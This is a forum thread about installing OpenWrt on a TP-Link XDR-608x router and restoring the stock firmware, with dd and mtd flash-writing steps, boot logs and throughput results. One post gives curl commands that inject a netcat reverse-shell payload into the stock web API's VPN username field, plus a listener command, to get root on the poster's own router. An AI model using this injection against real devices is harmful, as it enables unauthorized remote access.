2 Likes
@cyyself Hello,
Please, what are the steps in u-boot menu to come back to original TP-Link firmware?
I should mention that prior to install OpenWRT I did a backup for mtdblock9 and now wanted to come back to original firmware. I want to be sure I'm not messing something as I not very knowledge with u-boot.
Thank you,
Paul.
dd: command gave me this error Operation not permitted
root@OpenWrt:/# dd of=/dev/mtdblock0 if=/tmp/backup.img bs=131072 conv=sync
[ 1920.921893] mtdblock: MTD device 'bl2' is NAND, please consider using UBI block devices instead.
dd: error writing '/dev/mtdblock0': Operation not permitted
1+0 records in
0+0 records out
Why would you want to write the backup of mtdblock9 to mtdblock0? Was that on purpose?
NB: I'm not familiar with this device, I just came by your post.
Before flashing OpenWRT I saved the entire stock partition (mtd9) that is basicly the whole SPI-NAND - "backup.img"
I'm not looking on writing entire flash memory, I need to have TP-Link factory boot ready. I believe that when using this dd: command - "dd bs=131072 conv=sync of=/dev/mtdblock0 if=/tmp/backup.img" I can get in recovery mode., and after reboot to load the original TP-Link factory firmware.
Doing dd: on mtdblock0 (for sure original "backup.img" 128M cannot fit in "bl2"), I will write only "bl2" leaving the rest untouched (art, wireless calibration data etc).
You are very lucky that this didn't work, you would have bricked the device if it did.
In order to restore the stock firmware bootloader, you have to write not only bl2, but at least also bl3/u-boot, otherwise you end up with a brick for sure.
Thank you for your feedback. However, is there a way to go back on factory firmware? What are the steps to accomplish this?
Much appreciated your help!
You have to write all /dev/mtdX partitions one by one. Use mtd write /tmp/filenameX.img /dev/mtdX instead of dd. If you are sure you know what you are doing (and I mean be really sure, you have only one shot!), then
opkg update
opkg install kmod-mtd-rw
insmod mtd-rw i_want_a_brick=1
that will unlock the otherwise read-only MTD partitions.
2 Likes
Hi Daniel,
Just lo let you know that I went back to the original stock firmware by using:
dd bs=131072 conv=sync of=/dev/mtdblock0 if=/tmp/backup.img
Note that the file backup.img is the original backup of stock firmware mtdblock9.img.
I've complied without read only for bl2 partition:
After dd bs=131072 conv=sync of=/dev/mtdblock0 if=/tmp/backup.img the output on UART (via serial terminal) I've got this:
root@OpenWrt:~# ls /dev/mtd*
/dev/mtd0 /dev/mtd2ro /dev/mtd5 /dev/mtdblock3
/dev/mtd0ro /dev/mtd3 /dev/mtd5ro /dev/mtdblock4
/dev/mtd1 /dev/mtd3ro /dev/mtdblock0 /dev/mtdblock5
/dev/mtd1ro /dev/mtd4 /dev/mtdblock1
/dev/mtd2 /dev/mtd4ro /dev/mtdblock2
root@OpenWrt:~# dd bs=131072 conv=sync of=/dev/mtdblock0 if=/tmp/backup.img
dd: error writing '/dev/mtdblock0': ***No space left on device***
9+0 records in
8+0 records out
root@OpenWrt:~#
Get a bit scared about this: No space left on device message!!!
After reboot, I've landed on the TP-Link recovery mode.
... the factory firmware loading:
I should mention that prior to flash OpenWRT I did a backup on each blocks (mtdblock0 to mtdblock9) even was advised that is enough to the backup only for mtdblock9 as this is the entire SPI-NAND.
After coming back to original TP-Link firmware I was curious to compare files I've saved prior and after WRT. I found that the following mtdblocks 0, 1, 2, 4, 5 and 6 (factory_boot, factory_info, art, normal_boot, kernel and rootfs) are the same as before flashing OpenWRT. Please have a look/compare the backup's files prior and after WRT flashing on here.
Not encouraging above method, this post might be valuable only for developers. However please make sure that before going back to original firmware you have:
bad PEBs: 0, corrupted PEBs: 0
Daniel, please comment for above sentence, are there any other checks needed? Looks like this "dd" is very risky!?.
regards,
Paul.
1 Like
You can as well also use kmod-mtd-rw to temporarily remove the read-only flag. That makes it a bit easier...
The best is probably to split the backup file according to MTD partitions if you don't have access to the full-device. Ie.
dd if=/tmp/backup.img of=/tmp/backup-mtd0.img bs=131072 count=8
It's also much more safe to write using the mtd tool than using MTD block emulation mtdblock devices, ie.
mtd write /tmp/backup-mtd0.img /dev/mtd0
However, in this way you are only re-writing the bl2 (ie. TrustedFirmware-A bl2) partition and rely on all other partitions being untouched which is a bit risky, but in this specific case it can work as all the factory_* partition have been kept untouched.
I will actually receive an XDR-6068 tomorrow and will finally start hacking on this hardware mid next week probably.
2 Likes
The link is no longer working, can you update it, please.
When I brush uboot into the root firmware of the original factory, the following message will appear. After the restart, tftp fails to brush into the firmware. What should I do correctly?
dd bs=131072 conv=sync of=/dev/mtdblock9 if=xdr6086-preloader.bin
0+0 records in
0+0 records out
dd bs=131072 conv=sync of=/dev/mtdblock9 seek=28 if=xdr6086-bl31-uboot.fip
0+0 records in
0+0 records out
cat /proc/mtd
dev: size erasesize name
mtd0: 000a0000 00020000 "factory_boot"
mtd1: 00020000 00020000 "factory_info"
mtd2: 00020000 00020000 "art"
mtd3: 00200000 00020000 "config"
mtd4: 00040000 00020000 "normal_boot"
mtd5: 00680000 00020000 "kernel"
mtd6: 03800000 00020000 "rootfs"
mtd7: 01600000 00020000 "rootfs_data"
mtd8: 054a0000 00020000 "firmware"
mtd9: 08000000 00020000 "spi0.1"
Hi,
Try to use USB method.
I'm getting shell access much easier without interacting with web-ui, I use these two lines:
curl http://192.168.1.1/stok=xxxx/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.100 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.2.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.2.0/24","block":"0"}},"method":"add"}'
curl http://192.168.1.1/stok=xxxx/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.100 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.2.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.2.0/24","block":"1"}},"method":"set"}'
If the execution is successful, each time you execute curl command, you should see:
{"error_code":0}
Prior to execute above two lines you should listen with nc as bellow:
nc -nlvp 4444
you will get shell access when nc is returning something like this:
> sh: can't access tty; job control turned off
> BusyBox v1.19.4 (2022-07-20 12:29:22 UTC) built-in shell (ash)
> Enter 'help' for a list of built-in commands.
>
> / #
In case you will not see anything returning back from nc, rebound shell access with this command:
curl http://192.168.1.1/stok=xxxx/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.100 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.2.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.2.0/24","block":"**0**"}},"method":"set"}'
Repeat the command using this time "block":"1"
curl http://192.168.1.1/stok=xxxx/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.100 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.2.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.2.0/24","block":"**1**"}},"method":"set"}'
ls command to see the USB name at: /mnt/usbdisk/
mine is like this USB_11-22-33-44-55-66_Y_volume1, where 11-22-33-44-55-66 is the MAC and Y is normally 1 (will increment each time after each reboot).
Insert USB with your files: openwrt-mediatek-filogic-tplink_tl-xdr608x-preloader.bin and openwrt-mediatek-filogic-tplink_tl-xdr608x-bl31-uboot.fip
Backup your original mtdblock9 (highly recommended)
dd if=/dev/mtdblock9 of=/mnt/usbdisk/USB_11-22-33-44-55-66_Y_volume1/backup.img bs=131072
dd command to upload the preloader and fip:
dd bs=131072 conv=sync of=/dev/mtdblock9 if=/mnt/usbdisk/USB_11-22-33-44-55-66_Y_volume1/openwrt-mediatek-filogic-tplink_tl-xdr608x-preloader.bin
dd bs=131072 conv=sync of=/dev/mtdblock9 seek=28 if=/mnt/usbdisk/USB_11-22-33-44-55-66_Y_volume1/openwrt-mediatek-filogic-tplink_tl-xdr608x-bl31-uboot.fip
Make the rest of steps as described previously on this forum by @cyyself.
regards
Paul
1 Like
NOTICE:
BL2: v2.7(release):0penWrt v2022-08-31-75393484-1 (mt7986-spim-nand-ddr3BL2: Built : 12:50:5日，May 7 2023
NOTICE:
NOTICE:WDT: disabled
NOTICE:CPU:MT7986(209OMHz)
NOTICE:EMI: Using DDR3 settings
NOTICE:EMI: Detected DRAM size: 512MB
NOTICE:EMI: complex R/W mem test passed
NOTICE:SPI NAND parses attributes from parameter page
NOTICE:SPI NAND Detected ID xc8
NOTICE:Page size 2048，Block size 131072，size 134217728ERROR:BL2: Failed to load image id 3 (-2)
HOW？ WHAT SHOUT I DO？
This looks like you didn't write the *bl31-uboot.fip image to the correct offset. At this point you will need raw access to the flash chip, ie. remove it from the board and write it using an external programmer, and this time make sure that *bl31-uboot.fip is correctly written at the offset where bl2 will look for it.
How can I find the programmer firmware for 6086 i don't have a backup
Hi everyone,
Does anyone noticed that the Wi-Fi(5GHz one) that when you set to AX mode 160MHz Width and channel number greater then 100 the radio Frequency will be 6Ghz range, it's WIFI 6e Frequency?, my AX200 WiFi card can not connect or see the AP, I don't have 6e WiFi card, so don't know it works or not, it's this a feature or a bug?
The channel number under 100 or 80MHz Width it's working normal.
BTW, thank you all, the firmware just working great.
Any spi nand flash programmer will do the work, but you need some knowledge for that.
Basically
Teardown the box.
Find the flash chip(the number is U1), desolder it.
Put it in the programmer, backup the chip's data, then write the *bl31-uboot.fip and image in the right adress.
Solder it back.
I recommend you go the some local fix service for that work.
@daniel and the Developers team,
Nice work, congratulation!
Just tested below SNAPSHOT and I was pleasant to see that things are improving.
root@OpenWrt:~# cat /etc/openwrt_release
DISTRIB_ID='OpenWrt'
DISTRIB_RELEASE='SNAPSHOT'
DISTRIB_REVISION='r22880-4ab27bc6ef'
DISTRIB_TARGET='mediatek/filogic'
DISTRIB_ARCH='aarch64_cortex-a53'
DISTRIB_DESCRIPTION='OpenWrt SNAPSHOT r22880-4ab27bc6ef'
I have nice numbers on iperf3 (127.0.0.1)
root@OpenWrt:~# iperf3 -s -D && iperf3 -c 127.0.0.1
Connecting to host 127.0.0.1, port 5201
[ 5] local 127.0.0.1 port 41312 connected to 127.0.0.1 port 5201
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 698 MBytes 5.86 Gbits/sec 0 1.44 MBytes
[ 5] 1.00-2.00 sec 686 MBytes 5.76 Gbits/sec 0 1.44 MBytes
[ 5] 2.00-3.00 sec 685 MBytes 5.75 Gbits/sec 0 1.44 MBytes
[ 5] 3.00-4.00 sec 688 MBytes 5.76 Gbits/sec 0 1.44 MBytes
[ 5] 4.00-5.00 sec 681 MBytes 5.72 Gbits/sec 0 1.44 MBytes
[ 5] 5.00-6.00 sec 684 MBytes 5.74 Gbits/sec 0 1.44 MBytes
[ 5] 6.00-7.00 sec 684 MBytes 5.74 Gbits/sec 0 1.44 MBytes
[ 5] 7.00-8.00 sec 682 MBytes 5.73 Gbits/sec 0 1.44 MBytes
[ 5] 8.00-9.00 sec 682 MBytes 5.72 Gbits/sec 0 1.44 MBytes
[ 5] 9.00-10.00 sec 686 MBytes 5.76 Gbits/sec 0 1.44 MBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 6.70 GBytes 5.75 Gbits/sec 0 sender
[ 5] 0.00-10.00 sec 6.69 GBytes 5.75 Gbits/sec receiver
Iperf3 on iPhone 13pro max is like this:
Accepted connection from 192.168.1.184, port 61692
[ 5] local 192.168.1.1 port 5201 connected to 192.168.1.184 port 61693
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 99.6 MBytes 836 Mbits/sec 0 2.76 MBytes
[ 5] 1.00-2.00 sec 104 MBytes 870 Mbits/sec 0 3.26 MBytes
[ 5] 2.00-3.00 sec 105 MBytes 880 Mbits/sec 0 3.46 MBytes
[ 5] 3.00-4.00 sec 105 MBytes 882 Mbits/sec 0 3.46 MBytes
[ 5] 4.00-5.00 sec 105 MBytes 881 Mbits/sec 0 3.64 MBytes
[ 5] 5.00-6.00 sec 102 MBytes 860 Mbits/sec 0 3.64 MBytes
[ 5] 6.00-7.00 sec 104 MBytes 870 Mbits/sec 0 3.64 MBytes
[ 5] 7.00-8.00 sec 102 MBytes 860 Mbits/sec 0 3.64 MBytes
[ 5] 8.00-9.00 sec 87.4 MBytes 733 Mbits/sec 0 3.64 MBytes
[ 5] 9.00-10.00 sec 95.0 MBytes 797 Mbits/sec 0 3.64 MBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.01 sec 1010 MBytes 846 Mbits/sec 0 sender
... below is on my 3 years old Intel NUC:
... and the most impressing thing is the USB speed to my NUC (wireless) using ntfs3 with ksmbd (I have the feeling that I can get more than 182 Mb/s, I assume that my NUC cannot handle more...).
Have a look below:
Nice work, thank you!
Regards,
Paul
2 Likes